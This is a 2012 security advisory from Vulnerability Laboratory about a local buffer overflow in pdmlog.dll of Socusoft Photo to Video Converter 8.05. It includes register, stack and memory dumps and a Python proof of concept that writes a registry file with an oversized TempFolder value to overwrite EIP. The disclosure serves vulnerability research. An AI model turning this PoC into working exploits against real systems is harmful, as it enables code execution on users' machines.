Document Title:
===============
Socusoft Photo2Video 8.05 - Buffer Overflow Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=460


Release Date:
=============
2012-02-26


Vulnerability Laboratory ID (VL-ID):
====================================
460


Common Vulnerability Scoring System:
====================================
4.4


Product & Service Introduction:
===============================
Socusoft photo to video converter Professional allows you to create all kinds of eye-catching 
slideshow videos (mp4, flv, mov, avi, mkv, mpeg, h.264, h.264 HD, 3gp, 3gpp2, swf ) playable on 
YouTube, Facebook, MySpace, iPod, iPad, iphone, Archos, PSP, Zune. With the powerful Photo to Video 
Converter Professional,you could convert photo to the animating and dynamic video and share the 
video on YouTube, Facebook, MySpace, iPod, iPad, iPhone. With just a few minutes of work, you`ll 
have an eye-catching slideshow video with background music and dynamic pan&zoom and attractive 
transition effects. This powerful Photo to Video Converter Professional supports Over 260 animating 
transition effects with Pan & Zoom effect.

(Copy of the Vendor Homepage:  )


Abstract Advisory Information:
==============================
A Vulnerability Laboratory Researcher discovered a Local Buffer Overflow vulnerability on Socusofts Photo to Video 
Converter Free and Professional v8.05


Vulnerability Disclosure Timeline:
==================================
2012-02-27:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Technical Details & Description:
================================
A Buffer Overflow vulnerability is detected on Socusoft Photo to Video Converter Free and Professional v8.05 (current version). 
The vulnerability is located in the pdmlog.dll. Successful exploitation can result in execution of code, overwrite of registers & system compromise.

Vulnerable DLL(s):
                                                [+] pdmlog.dll


--- Registers ---
# EAX 42424242
# EBX 00360000 pdmlog.dll:00360000
# ECX 0036BF3B pdmlog.dll:pdmlog_5+A66B
# EDX 80284006 
# ESI 00000002
# EDI 00000000
# EBP 01C5FC0C Stack[000001AC]:01C5FC0C
# ESP 01C5FBF0 Stack[000001AC]:01C5FBF0
# EIP 42424242
# EFL 00010206

--- Stack ---
# 01C5FBE0  00000000
# 01C5FBE4  00000002
# 01C5FBE8  000094B7
# 01C5FBEC  00000001
# 01C5FBF0  0036BF6F  pdmlog.dll:pdmlog_5+A69F  <- Crash
# 01C5FBF4  00360000  pdmlog.dll:00360000
# 01C5FBF8  00000002
# 01C5FBFC  00000000
# 01C5FC00  00000000
# 01C5FC04  01C5FC20  Stack[000001AC]:01C5FC20
# 01C5FC08  7FFDE000  debug066:7FFDE000

--- Dump ---
# 00370584  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
# 00370594  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
# 003705A4  42 42 42 42 43 43 43 43  43 43 43 43 43 43 43 43  BBBBCCCCCCCCCCCC
# 003705B4  43 43 43 43 43 43 43 43  43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
# 003705C4  43 43 43 43 43 43 43 43  43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC


Picture(s):
                                                ../1.png


Proof of Concept (PoC):
=======================
The Vulnerability can be exploited by local attackers. For demonstration or reproduce ...

#!/usr/bin/python
 
# Exploit Title: Socusoft Photo to Video Converter Free/Pro v8.05 (pdmlog.dll) Local Buffer Overflow PoC
# Version:       8.05
# Date:          2012-02-26
# Author:        Julien Ahrens
# Homepage:      http://www.inshell.net
# Software Link: http://www.socusoft.com
# Tested on:     Windows XP SP3 Professional German
# Notes:         Overflow occurs in pdmlog.dll
# Howto:         Import Reg -> Start App

# EAX 42424242
# EBX 00360000 pdmlog.dll:00360000
# ECX 0036BF3B pdmlog.dll:pdmlog_5+A66B
# EDX 80284006 
# ESI 00000002
# EDI 00000000
# EBP 01C5FC0C Stack[000001AC]:01C5FC0C
# ESP 01C5FBF0 Stack[000001AC]:01C5FBF0
# EIP 42424242
# EFL 00010206

# 01C5FBE0  00000000
# 01C5FBE4  00000002
# 01C5FBE8  000094B7
# 01C5FBEC  00000001
# 01C5FBF0  0036BF6F  pdmlog.dll:pdmlog_5+A69F  <- Crash
# 01C5FBF4  00360000  pdmlog.dll:00360000
# 01C5FBF8  00000002
# 01C5FBFC  00000000
# 01C5FC00  00000000
# 01C5FC04  01C5FC20  Stack[000001AC]:01C5FC20
# 01C5FC08  7FFDE000  debug066:7FFDE000

file="poc.reg"

junk1="\x41" * 548
boom="\x42\x42\x42\x42"
junk2="\x43" * 100

poc="Windows Registry Editor Version 5.00\n\n"
poc=poc + "[HKEY_CURRENT_USER\Software\Socusoft Photo to Video Converter Free Version\General]\n"
poc=poc + "\"TempFolder\"=\"" + junk1 + boom + junk2 + "\""

try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";


Security Risk:
==============
The security risk of the local buffer overflow vulnerability is estimated as high(-). 


Credits & Authors:
==================
Vulnerability Research Laboratory   -   Julien Ahrens  (MrTuxracer)  [www.inshell.net]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    admin@vulnerability-lab.com 	- support@vulnerability-lab.com 	       - research@vulnerability-lab.com
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory